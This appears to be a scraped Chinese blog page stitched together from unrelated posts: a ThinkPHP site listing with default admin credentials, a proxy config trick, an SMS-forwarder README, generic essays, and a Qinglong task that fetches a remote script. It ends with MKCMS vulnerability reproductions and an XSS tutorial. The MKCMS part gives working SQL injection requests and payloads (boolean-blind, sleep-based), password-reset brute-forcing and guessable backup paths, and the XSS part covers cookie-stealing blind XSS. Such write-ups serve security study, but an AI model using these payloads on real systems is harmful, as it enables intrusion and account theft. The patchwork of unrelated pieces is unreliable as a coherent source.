基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码;

最新的thinkphp 6.1 开发的 AI 网址导航是一个非常实用的工具,它能够帮助用户方便地浏览和管理自己喜欢的网站。相比于其他的 AI 网址导航,这个项目使用了更加友好和易用的 ThinkPHP 框架进行搭建,使得开发者和用户都能够轻松上手。

此次更新的 AI 网址导航,后台可以随意设置导航颜色,让用户可以自由选择自己喜欢的配色方案。同时,该项目还提供了非常简洁的用户界面和灵活的管理模块,让用户可以快速添加、编辑和删除网址信息。

此外,该项目还提供了灵活的分类和排序功能,可根据用户个性化需求进行自定义设置。

运行环境
PHP8.0+MySQL5.6
基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码1

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码2

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码3

搭建教程

https://blog.xiaohack.org

测试环境:PHP8.0+MySQL5.6

设置运行环境为 /public 目录

设置thinkphp伪静态规则

数据库配置文件路径 /.env

后台登录地址 /admin
后台账号 admin
后台密码 123456

【WPS AI共创快闪招募ing!】
如果你:
热衷AI领域,洞察敏锐
乐于分享与交流,热爱挑战
邀请你一起来探索WPS AI更多的可能性:
填写表单即刻报名:https://f.kdocs.cn/g/UGxnPtnd/
我们将会通过邮箱联系您,请留意查看。
近几天都会有,每天都会审核一次大家的报名,第二天会发邮件通知的。
体验码通过邮件发送,是个186天的体验码,不限制次数。

前两天体验了一下,还是很不错的,能省不少事儿。
目前能对文档、PDF和PPT支持的挺好,表格暂不支持,后面会支持。
一键生成PPT的效果还是很不错的。
WPS AI体验码申请入口
WPS AI体验码申请入口2

前言

去年我发布了一篇关于 clash relay 的教程
当初随便拿来放临时配置的 gist 也有了 50 多个 star https://gist.github.com/miaomiaoclub/6947f7cb93846301f1658da0edcd61bf
时隔半年多,这套方案在和朋友 @ RADE 的共同学习中有了不少改进,tunnels 功能的加入更是让整套方案如虎添翼,不少体验让我自己都有种“wow”的感觉,例如 延迟降低 100% 。
最终的效果让我到现在都非常兴奋,所以我花了一周时间再来写一篇文章和大家分享。

快速体验

这是我目前使用的配置的示意图,为了美观简化了不少内容。
我花了一周准备,想和你分享 Clash 所有特性运用到极致之后的体验
因为所有东西要讲完真的很复杂,为了让大家快点感受我的激动,我花了一周时间写了一个模版让你可以在 30 秒内开始体验这一切。

你只需要去 https://www.urlencoder.org/ 或者其他什么网站把你的订阅链接进行 url 编码。

然后把编码后的内容拼接到下面这一大串链接的末尾,再把它放到 Clash 里面订阅就可以了。

https://api.sublink.dev/sub?target=clash&insert=false&config=https%3A%2F%2Fgist.githubusercontent.com%2Fmiaomiaoclub%2F2178a7dd7fbbf4b7774ad6f7ad2000c5%2Fraw&emoji=true&list=false&tfo=false&scv=true&fdn=false&sort=false&new_name=true&url=https%3A%2F%2Fgist.githubusercontent.com%2Fmiaomiaoclub%2F92fc5af76ede047810a7a51af86089ee%2Fraw%7C

完成之后你应该可以看到这样的分组,其中的 READY BOOST 就是使用了 tunnel + grpc 的连接,你可以把左右两边的延迟进行对比。
我花了一周准备,想和你分享 Clash 所有特性运用到极致之后的体验1
然后你可以在节点选择列表的末尾找到 READY BOOST ,选中它,然后打开几个网页,另外,它应该是可以解锁 ChatGPT 的。

顺带一提,当你自行实现的时候,它是 udp fullcone 的,我在这里禁用了 udp 。

这套体验配置会在 1 天后失效,取决于这个帖子的回复情况延长或缩短。

实现原理是什么?

基于 grpc 的连接复用。
关于 proxy chain 的优点,可以查看下面这篇文章

https://luxirty.com/article/01815b7d-073d-48ef-9528-7b4ad033f8d0

这里主要讲讲 grpc ,众所周知,连接复用可以节省握手时间,http/2 就拥有连接复用的特性。

然而 clash 只为 grpc 实现了连接复用,http/2 在 clash 中并不具备连接复用。

基于 tunnel 的 proxy chain
在实际测试中,我们(@RADE )发现 relay 实际上导致了非常多的问题,例如 udp 无法通过、grpc 奇怪的高延迟等。

因此我们使用 tunnels 替换了 relay ,它的表现相比于 relay 优秀了很多。

你可以到 clash 的官方 wiki 来学习 tunnel 的用法 https://dreamacro.github.io/clash/configuration/configuration-reference.html

也可以看看我的博客,有稍微容易看懂的讲解 https://luxirty.com/article/chain-proxy-powered-by-clash-tunnels

负载均衡、故障转移、最短延迟

在上面的体验配置中我并没有把所有这些特性都加上。因为写起来太麻烦了。但我相信对 V2EX 的各位来说并不难。

实际上还有更多的内容可以讲:

  • 如何更方便地为 clash 自定义规则
    你可以看到在上面的测试配置中,我们修改了配置并添加了节点,并且没有依赖任何自建服务,一个公开的 subconverter+gist 足够了
  • 使用订阅转换时,如何把来自不同订阅的 proxy 分别放到不同的 group
    唔…好啦,大概就这些!……

本项目适用于Linux环境的随身WiFi
实现监控短信,通过Email,Telegram进行转发,并支持自定转发函数,以实现转发到其他平台

在开始前,请确保你的随身WiFi可以正常使用基带,可通过以下命令确认

mmcli -m 0

如果无法正常使用,请参考酷安伏莱兮浜大佬的教程,尤其注意文章最后所提到的刷写基带的部分

目前已实现:

  • 自动扫描短信
  • 转发到Email,Telegram
    To Do List
  • 转发到更多平台(目前计划Bark,Server酱)
  • 支持发送短信

    使用

  • 安装python环境

      sudo apt update && sudo apt install python3
  • clone或从releases下载
  • 修改config.example.py中的配置,并重命名为config.py
  • 运行

       python3 main.py
  1. 使用systemctl(推荐)或screen实现后台运行

以下为systemctl步骤

编辑/etc/systemd/system/sms_forwarder.service,添加以下内容,注意实际路径

[Unit]
Description=SMS Forwarder

[Service]
Type=simple
ExecStart=/usr/bin/python3 /home/user/sms_forwarder/main.py

[Install]
WantedBy=multi-user.target

重新加载systemctl

sudo systemctl daemon-reload

启动服务

sudo systemctl start sms_forwarder

开机自启

sudo systemctl enable sms_forwarder

自定义推送函数

在forward.py中添加如下函数:

def forward_to_foo(number,content,timestamp):
    #自定推送代码
    pass

函数名需以forward_to_开头,传入number,content,timestamp 3个参数

常见问题

Q:收到的短信包含乱码

A:将系统语言修改成使用utf-8的

免责声明

本项目的所有内容仅供参考和学习目的,禁止用于商业用途。在使用本项目时,请您遵守所在国家和地区的相关法律法规,不得违反任何法律规定。

使用本项目的任何内容,即表示您已阅读、理解并同意承担所有责任。无论因何种原因,本项目所有人均不对使用者的任何行为或后果承担任何责任。

本项目的所有内容仅供参考和学习目的,本人不对这些内容的准确性、完整性和实用性作出任何保证或承诺。

本项目不会将任何用户的数据传输到项目所有者的服务器上。但如果您使用转发功能,您的数据将被传输到第三方服务器上。在使用转发功能时,请您自行承担风险,并遵守该第三方服务的使用条款和隐私政策。

第一章:沉淀

作为人类,每个人都会有自己独特的人生经历,我们经历的每一个瞬间都会对我们留下深刻的印记,塑造着我们的思想和人格。有时候,当我们回首过去,回忆起那些曾经的瞬间,我们会发现一些似乎和自己的自我认知不太一致的情况。

然而,这些情况并不一定都是坏事,因为它们可以让我们更好地认识和理解内心深处的真实感受。当我们面对那些不确定的情况时,我们需要耐心地思考,如何将它们转化成自己成长和完善的契机。

这是一个持久而艰苦的过程,需要我们不断地思考和反思,使我们变得更加成熟和稳重。这就是沉淀的过程。沉淀是一种内在的过程,它不关乎我们看到的表面现象,而是关系到我们的内心深处。这个过程需要我们抛弃那些无意义的东西,化腐朽为神奇,不断追求更高的境界和更加纯粹的内心状态。

只有通过这种沉淀的努力,我们才可以在人生的长河中越来越清楚地认识自己,了解自己的优点和不足,并在人生的各个阶段中找到自己的位置。我们需要耐心地关注和修正自己,经过多年的积累和沉淀,我们才可以形成自己的独特人格和生活方式。

总之,沉淀是一种让我们成长和完善的过程,它打破了表面上的浮躁和虚伪,帮助我们找到自己的内心的平衡和和谐状态。只有靠这种不断的沉淀,才能真正地走出自己的人生路,幸福快乐。

第二章:青春终于败给了资本,那场高考毁了我的本科梦

青春是一道永恒的风景线。在我的生命中,青春期是最美好也最充实的时光。那时候,每一天都充满了希望和梦想,充满了无数个“如果”和“可能”。

我依然清晰地记得,当我处在高三时,我是多么的宏伟壮志。我梦想着大学学习心仪的专业,追随自己的兴趣和才华,拥有自己的未来和事业。然而,这个宏伟壮志被一场高考摧毁了。我用尽了所有的力气和资源去准备那场考试,但结果却是如此残酷:我失去了成为大学生的机会。

青春,终究败给了现实。资本的利益和繁杂的社会体制渗透到了高考这个最纯净的考试体系中,抢夺了无数学生的梦想和希望,让他们沦为了现实的无奈和无力。

我曾经认为高考是衡量学生综合素质和能力的最公正的方式。然而,现实却告诉我,高考不过是解决学生数学和语文能力的考试。除此之外,没有其他的点数可以加上,没有更多的空间可以展现学生的特长和优势。

青春终于败给了资本,高考毁了我的本科梦,这不仅是我一个人的遭遇,更是整个学生成长过程中常见的现象。我们不得不面对这样一种残酷的现实,去重新调整自己的目标和梦想,为了生存,为了生活。

尽管眼前的现实有着很多不如意的地方,但我依然坚信,生命是一场长跑,成功需要的是不断的努力和奋斗。无论是在大学还是在工作中,我们都需要坚持不懈地追求自己的梦想,去发掘自己的潜力,展现自己的才华,努力创造更加美好的未来。

青春而热血的我们,即便在现实的残酷面前,也不能放弃对美好生活的向往。让我们一起携手努力,开创属于自己的精彩人生。

第三章:大专也是大学

大专也是大学,相信很多人都有这样的认识。虽然大专和大学在层次上有所区别,但是它们都是为了让学生掌握更多的专业知识,从而更好地投身社会做出贡献。

值得一提的是,大专的教学内容实际上与大学也没有太大的区别。很多大专设置的学科都非常实用,与实际生产生活紧密相连。此外,大专更注重实践,尤其是职业性的专业,如工科、农业、医学等。

相比而言,大学则更侧重于基础知识的学习与探讨,并强调研究与创新。因此,一些理工类、人文社科类的学科应该选择在大学进行学习。

但与此同时,我们也要明白,大学和大专只是学习的载体,没有绝对的上下之分。真正的差别在于学生本身的素质和发展潜力,以及教育机构的教育质量和教学水平。

总的来说,大专给予学生更多的机会,让他们在较短的时间内便能掌握更多的技能和知识。而大学则强调学生的自主学习能力和创造性思维能力,注重培养高素质的人才。所以,在选择学校时,应该结合自身的情况、职业规划等因素进行综合权衡。

第四章:专业网安,未来的黑客

在网络安全的领域中,有一个职业被称为“专业网安”,他们是保卫互联网的守护者,不仅可以追踪和防范黑客攻击,还能够查找和抓获网络犯罪分子。

未来的黑客可能会变得更加具有专业性,他们会通过各种手段获取未授权的访问权限,更可能是在大规模攻击的过程中利用社会工程学来获取关键信息。但是专业网安的职责不仅仅是反击黑客攻击,还包括监测网络安全漏洞并及时给出解决方案,提高企业网络的安全性,以保护网络生态系统的稳定和安全。

在这个数字化时代,网络安全对于每个人都至关重要。无论是企业、政府还是个人,在网络世界中都需要保障自己的信息安全。这就需要专业网安人员的努力和专业知识,他们需要拥有扎实的网络安全基础知识和高超的技能水平,输入整个网络安全体系,成为真正意义上的网络卫士。

而对于普通人来说,保护自己的网络安全也非常重要。我们需要重视自己的密码安全,不轻易泄露个人信息,在互联网上保持警惕。只有我们每个人的努力,才能保障整个网络安全体系的稳定,留出一片安全的天地,让互联网成为我们更好的生活工具。

第五章:专升本失败,直接就业少走几年弯路

当我刚刚考完专升本的时候,心情异常复杂。因为我付出了很多努力和时间,但结果却是失败了。这让我感到非常失落和无望,我不知道下一步该怎么做。然而,随着时间的推移,我渐渐发现,专升本并不是人生的终极目标,没有通过并不代表一切都结束了。

我开始重新审视自己的职业规划,考虑接下来该做什么。最终,我决定放弃再次尝试专升本,而是直接进入工作岗位。虽然这并没有让我变得成功,但我走的路却少了几年弯路。

我不得不说,直接就业并不是一条容易走的路。每个人都希望学以致用,将自己学到的知识应用到实践中。但是,在我的职业中,我意识到,职场上的知识和学校里学到的知识是完全不同的。当我进入职场后,我发现自己还有很多东西要学习,例如如何与客户沟通,如何调解同事之间的冲突等等。这些技能,是我在学校里无法学到的。

但是,尽管有这些困难,我并不后悔选择直接就业。因为在职场上,我学到了许多宝贵的经验,这些经验让我变得更加成熟和自信。我相信,这些经验将帮助我在未来的职业生涯中更好地发展自己。

因此,对于那些专升本失败的人,请不要失去信心。成功的路并不只有一条,也许直接就业会成为你的另一种选择。这条路并不容易,但是正如孔子所说:“逝者如斯夫,不舍晝夜。” 希望我们在人生的旅途中,也能坚定自己的信念,迎接挑战,勇往直前。

第六章:距某ctfxx天,顶峰相见

距离某个CTF比赛仅剩下x天的时间了,我和我的战友们正在紧锣密鼓地准备着。顶峰相见,这是我们准备的必要措施。毕竟,我们在平时的训练中已经相当默契了,但是对于比赛中的各种情况我们必须有更好的配合和沟通。所以我们决定在即将到来的一场比赛之前要进行一次顶峰会议。

我们一行人来到了一家安静的咖啡馆,开始了我们的讨论和规划。全员到齐后,我们先谈了一下比赛的规则和题目类型,找出了我们的优势和劣势。比赛的考察范围很广泛,我们必须多角度地思考问题,互相帮助,以便最后在比赛中取得好成绩。尤其是网络安全知识方面,我们花费了很多时间讨论。最终确定了我们的分工和策略:有的人负责密码学,有的人负责二进制,有的人负责Web和Misc。

此外,我们还商量了一下关于防守的计划。在比赛中,防守同样很重要。我们决定设置好安全策略,防范对手的攻击,以保证我们的网站不被攻击。而攻击方面,我们一定要密切合作,互相协作,给对手制造最大的阻力。

这次顶峰相见确实很有意义,我们深入讨论了我们的实力、技能和策略,并相互学习。通过这次会议,我们更加了解彼此,为了一场将要来临的比赛,我们将会是彼此最强大的后盾和支持。在紧张的比赛中,我们会互相激励,互相鼓舞,为了实现共同的目标而拼搏。

第七章:比赛都是套路,专心实战

作为一个爱好运动的人,我深深体会到比赛的重要性。比赛不仅是展示自己实力和技巧的机会,更是锻炼自己意志力和心理素质的过程。在比赛中,我们需要克服紧张情绪和稳定自己的心态,才能更好地发挥自己的能力。

然而,在不同的比赛中,我们也需要采用不同的策略和套路。就像在围棋比赛中,我们需要从不同的角度分析和研究对手的局面和下法,制定相应的应对措施。同样,在跑步比赛中,我们需要制定出合理的赛跑策略,根据自己的体力状况选择合适的时机攻势。

在比赛中,最重要的是专心实战。专心实战意味着要坚定不移地追求胜利,切实投入到比赛中,并持续关注比赛的进程和变化。只有这样,我们才能在比赛中取得最好的结果,进一步提高我们的技能和能力。

总之,比赛是套路的,但是专心实战的过程中,我们也可以不断学习和提高自己的能力。让我们在比赛中不断成长,成为更好的自己。

第八章:两天护网兵,一生国企情

这一章是谈论个人的工作经验,其中涉及了两天护网兵和一生国企情两个方面。

对于两天护网兵部分,我认为这是我工作过程中最刺激和挑战性的一段经历。在赴客户现场进行网络安全测试时,我和团队的其他成员都像护网兵一样不眠不休地工作,直到攻克了所有的难关。这两天,我们的工作强度极高,每个人都在全力以赴地投身于测试工作中。虽然累,但我感到非常有成就感。这段经历使我意识到,工作中要敢于挑战自己,只有这样才能不断提高自己的能力。

对于一生国企情部分,我是在一家国企工作了多年,看着这个单位从小变大,从弱变强。在这里,我经历了许多不同的工作场景,遇到了各种各样的人物,也看到了这个单位不断进步的努力。我对这家国企有着深深的感情,认为自己的人生经历与这个单位的成长历程紧密相连。这个单位为我提供了一个良好的职业环境,也让我不断成长和进步,我相信,这种情感也会伴随我的一生。

总的来说,工作经历是每个人成长过程中必不可少的一环,它能够让我们感受到工作的重要性,也能够让我们不断挑战自己,提高自己的能力和水平。对于每个人而言,工作经历也是一段人生经历,它会给我们留下深刻的印象,塑造我们的人生态度。我希望能够在未来的工作中,继续感受到工作的挑战和成就,也希望我的工作能够对社会做出一些有益的贡献。

说明:

1、不要问青龙干什么的
2、别问为什么网速这么慢
3、推荐使用低版本的安卓机

开始:

1、首先定时任务→添加任务
名称:自己写一个
拉库命令:ql raw https://gitee.com/lstcml/qinglongscripts/raw/master/nwct/nwct_localtunnel.py
定时规则:可以自己写

2、环境变量→添加变量
名称:qlsubdomain
值:数字和字母的组合(这个是前缀自己看着写)

3、找到刚才拉过来的脚本点击运行

4、运行日志上会提示你穿透之后的访问链接
结束

简介及安装

MKCMS5.0是一款基于PHP+MYSQL开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用,自动更新电影,无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。
下载地址:链接:https://pan.baidu.com/s/12HsPtKN8ECIAv3QNy6rSwg
提取码:zkaq

源码放在phpstudy根目录下。
访问:http://127.0.0.1/MKCMS5.0/install/
MKCMS5.0漏洞合集环境搭建
MKCMS5.0搭建

漏洞复现

前台sql注入
漏洞出现在/ucenter/reg.php第7-19行:

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");

if(mysql_fetch_array($query)){

echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';

exit;

}

$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');

if(mysql_fetch_array($result)){

echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';

exit;

}

mkcms漏洞复现
册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。

当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题。
POC:

POST /ucenter/reg.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/ucenter/reg.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Connection: close

Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3

Upgrade-Insecure-Requests: 1


name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=

test用户实际不存在
任意用户密码重置
漏洞出现在/ucenter/repass.php第1-44行:

任意用户密码重置
本质上来说此处是一个逻辑问题,程序未通过邮箱等验证是否为用户本身就直接先在第13-14行把用户密码重置为123456了,根本没管邮件发送成功没有。
任意密码重置
此处过滤了单引号,所以无法通过然后邮箱账号进行重置

漏洞修复

1.注册处的注入可像密码找回处一样,过滤一下就OK。
2.找回密码处可修改为如下代码:

<?php

include('../system/inc.php');

if(isset($_SESSION['user_name'])){

header('location:index.php');

};


function randomkeys($length) {

  $pattern = '1234567890abcdefghijklmnopqrstuvwxyz

               ABCDEFGHIJKLOMNOPQRSTUVWXYZ';

    for($i=0;$i<$length;$i++) 

    { 

        $key .= $pattern{mt_rand(0,35)}; 

    } 

    return $key; 

};


$repass = randomkeys(10);


if(isset($_POST['submit'])){

  $username = stripslashes(trim($_POST['name']));

  $email = trim($_POST['email']);

  // 检测用户名是否存在

  $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");


  if(!! $row = mysql_fetch_array($query)){

    if (mysql_query($sql)) {

      $token =$row['u_question'];

      include("emailconfig.php");

      //创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.

      $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true); 

      $smtp->debug = false; 

      $mailType = "HTML"; //信件类型,文本:text;网页:HTML

      $email = $email;  //收件人邮箱

      $emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题

      $emailBody = "亲爱的".$username.":<br/>感谢您在我站注册帐号。<br/>您的初始密码为".$repass."<br/>如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上</p>";


      // sendmail方法

      // 参数1是收件人邮箱

      // 参数2是发件人邮箱

      // 参数3是主题(标题)

      // 参数4是邮件主题(标题)

      // 参数4是邮件内容  参数是内容类型文本:text 网页:HTML

      $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);

      if($rs==true){

        $_data['u_password'] = md5($repass);

        $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';

        echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';

      }else{

        echo "找回密码失败";

      }

    }

  }

}

?>

增加一个生成随机密码的函数,将把新密码更新到数据库的流程放到发送邮件成功后即可。

MKCMS6.2漏洞合集

简介及安装
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

下载地址:链接:https://pan.baidu.com/s/1zJ0zDxLdblkM1DHxMZHr3w
提取码:zkaq

MKCMS6.2漏洞合集
MKCMS6.2漏洞合集环境搭建

漏洞复现

验证码重用
/admin/cms_login.php验证码处的逻辑如下,比较session中的验证码和输入的是否一致,不一致就进入alert_href,这个js跳转,实际是在刷新页面

if(isset($_POST['submit'])){

    if ($_SESSION['verifycode'] != $_POST['verifycode']) {

        alert_href('验证码错误','cms_login.php');

    }

代码审计
跳转后就会刷新验证码,然而我用的是burp,默认是不解析js的

全局搜索这个$_SESSION[‘verifycode’],发现只在/system/verifycode.php有赋值,也就是说,如果使用验证码后,我们不跟随js跳转,就不会重置验证码,验证码也就能被重复使用了。
验证码重用
前台注入:/ucenter/repass.php
历史漏洞中,在/ucenter/repass.php有个越权修改密码的洞(CVE-2019-11332),跟进去发现原来还有注入,以下是分析过程。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

$email = trim($_POST['email']);

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");

前面说到全局对$_POST存在addslash的过滤(加\转义),上面又把参数给stripslashes了(去掉),那么这里就是一个注入了。

注入
前台注入:/ucenter/active.php
/ucenter/active.php?verify=1存在注入

$verify = stripslashes(trim($_GET['verify']));  //去掉了转义用的\

$nowtime = time();

$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");

$row = mysql_fetch_array($query);

sqlmap直接跑即可
sqlmap
sqlmap注入
前台注入:/ucenter/reg.php
/ucenter/reg.php的name参数,存在注入。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");

任意用户密码找回(密码可被穷举)
这个问题主要是/ucenter/repass.php代码里,找回密码的逻辑有问题,第10行查询到username、 email能对应上之后,14行就直接重置密码了。。。而且密码的范围在12行有写,只有90000种可能,重置之后,burp跑一下就可以了。(当然要结合验证码重用才能有效爆破)
密码重置

备份文件路径可猜解
这个备份功能设置的是非常简单的文件名。/backupdata/mkk.sql
在/admin/cms_backup.php

<?php

$filename="../backupdata/".DATA_NAME.".sql"; //存放路径,默认存放到项目最外层

$fp = fopen($filename,'w');

fputs($fp,$mysql);

fclose($fp);

alert_href('备份成功!','cms_data.php');

?>

全局搜DATA_NAME变量,是安装时候设置的数据库名。
在\install\index_2.php中
备份文件路径可猜解
默认的DATA_NAME值是mkk
在\system\data.php中
备份文件路径可猜解1

MKCMS v7.0 sql注入漏洞

漏洞简介
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

米酷CMS v7.0.3版本admin/model/admin_edit.php、ucenter/reg.php等文件存在漏洞,攻击者可以利用漏洞进行sql注入攻击。

前台注入漏洞
漏洞分析
在ucenter/reg.php这个文件中,第9行处对$username这个参数进行了查询拼接。
MKCMS v7.0 sql注入漏洞
但是在第7行处,$username的值是来自于POST传递的name参数,当name参数到达reg.php这个文件之后,stripslashes()函数将name的值进行了去除“\”处理。

MKCMS v7.0 sql注入漏洞1
根据include,跳转到/system/library.php中,我们可以发现这里系统对GET、POST等参数进行了addslashes_deep()函数处理,即对参数传递时加上了一个“\”。
MKCMS v7.0 sql注入漏洞2
问题就出在这里,前端用户进行提交的name参数,经过了addslashes_deep()函数处理加上了一个“\”,到达reg.php页面又使用stripslashes()函数将name的值进行了去除“\”处理,这就导致出现了无过滤拼接。

漏洞复现
来到前台漏洞点。http://127.0.0.1/MKCMS7.0/ucenter/reg.php
事先已有admin用户。抓包注册admin用户,提示已存在
MKCMS v7.0 sql注入漏洞复现
在name参数处构造Payload:+and+’1’=’2

MKCMS v7.0 sql注入漏洞复现1
在name参数处构造Payload:+and+’1’=’1

MKCMS v7.0 sql注入漏洞复现2
根据不同的返回值可以说明构造的payload被拼接到数据库进行了判断处理。

后台注入

漏洞分析
在admin/model/admin_edit.php文件中,文件第10行处,系统进行了数据库查询,拼接了两个参数,一个是POST传递的a_name,一个是GET传递的id,可以看出,系统并未对参数在这里做任何的过滤处理。
后台注入
漏洞复现
定位到漏洞点:127.0.0.1/MKCMS7.0/admin/cms_admin_edit.php?id=1
mkcms 后台注入
用单引号测试
mkcms 后台注入1
构造payload:id=1+and+if(1>2,1,sleep(3))。数据库执行了sleep()函数。同样也可以直接丢给sqlmap去注入。

mkcms 后台注入2

XSS漏洞原理

XSS漏洞是一种跨站脚本攻击,攻击者通过构造恶意脚本传入服务器,并且被当成前端脚本执行了。

XSS分类

  1. 反射型XSS

反射型XSS是攻击者将恶意脚本注入到请求参数中,服务器将参数返回给客户端时,脚本从服务器“反射”到客户端并被执行的过程。攻击者通常会诱导用户点击包含恶意脚本的链接,或者在搜索框等地方输入恶意脚本,以便将脚本注入到请求参数中。

  1. 存储型XSS

存储型XSS是攻击者将恶意脚本提交到网站的数据库中,当其他用户浏览到包含恶意脚本的页面时,恶意脚本会从数据库中读取并被执行。攻击者通常会在评论区或者提交表单的地方注入恶意脚本,以便将脚本保存到服务器的数据库中。

  1. DOM型XSS

DOM型XSS是一种特殊的XSS攻击,与前两种攻击不同,它不需要将恶意脚本发送到服务器,而是利用了浏览器的DOM特性,通过修改页面中的DOM节点来执行恶意脚本。攻击者通常会通过诱导用户访问包含恶意脚本的页面来实现攻击。

XSS漏洞的危害

XSS漏洞的危害包括但不限于以下几点:

  • 窃取用户的敏感信息,如cookie、密码等。
  • 盗取用户的账号,进行恶意操作。
  • 修改网页内容,如篡改文章、插入广告等。
  • 伪造用户操作,如模拟用户表单提交等。
  • 向其他用户传播恶意脚本,造成更广泛的危害。

JS代码的调用方式

在前端三件套中,只有javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以在开始进行XSS漏洞检测手法讲解之前,需要先了解一下JS代码他是如何被网页调用并且执行的。

网页调用JS的手法一共有3种:

  • 标签法
  • 事件法
  • 伪协议法

标签法
HTML语言中,不同的标签有着不同的功能,其中就有一个标签用来运行javascript脚本的:

<script></script>
通过这个标签,就可以导入javascript代码。标签法导入js代码,他有两种形式:

  1. 直接在标签对之间写js代码
<script>  
//在标签对之间书写js代码    
alert(1);
</script>
  1. 通过src属性,导入js文件
<script src='target.js'></script>  
// src可以是相对路径,也可以是超链接
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>

在这里需要注意一点,这两种形式只能二选一来使用。

事件法

事件是HTML4的新特性之一,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:

<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg_smile.gif" />
<input type="button" onclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" onclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>    
// 点击 修改 时调用的js代码    
function change(){
          document.getElementById("image").src = "/i/porsche.jpg";    
          }    
          // 点击 还原 时调用的js代码    
          function back(){        
          document.getElementById("image").src = "/i/eg_smile.gif";
            }
            </script>
            <p>原始图像是 eg_smile.gif,但脚本将其更改为 porsche.jpg</p>
      </body>
  </html>

而前端中通常包含非常多的事件类型,感兴趣的可以去看看:

HTML 事件 | 菜鸟教程

协议法

伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。

伪协议的种类非常多,常用的就包括:php伪协议、data伪协议、dict伪协议、gopher伪协议等等。而在触发js代码的伪协议中,重点要说两种:

  • javascript:

    <a href="javascript:alert(1)"></a>
  • data:

    <script src="data:text/javascript;base64,YWxlcnQoMSk="></script>

    通过这两种方式都能触发执行js代码

XSS漏洞挖掘思路

虽然XSS在定义上被分为了3类:反射型、存储行和dom型,但是在探测网站是否存在xss漏洞时,并不需要这样的分类。因为不管是哪一个类别的XSS,如果它存在,那么它在表现上通常是一致的:我们插入的js代码被执行了。

所以我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。

1. 查询字符串

当网站存在搜索或者查询功能时,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞
查询字符串

2. 数据提交表单

表单测试xss相对来说会复杂一些。因为表单会出现两种情况:

  1. 我们提交数据之后,前端会显示我们提交的表单信息。经典案例:

注册信息、留言信息、评论信息、订单提交信息等

  1. 我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:

问卷调查、意见反馈信息等等

对于这两种形式的表单,我们使用的测试方法会有所不同。

对于第一种,我们直接使用正常的测试语句去进行测试就行了:
xss测试
xss漏洞测试
通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。

对于第二种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打

盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。

当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。

XSS盲打实战案例:某网页漫画_xss实战

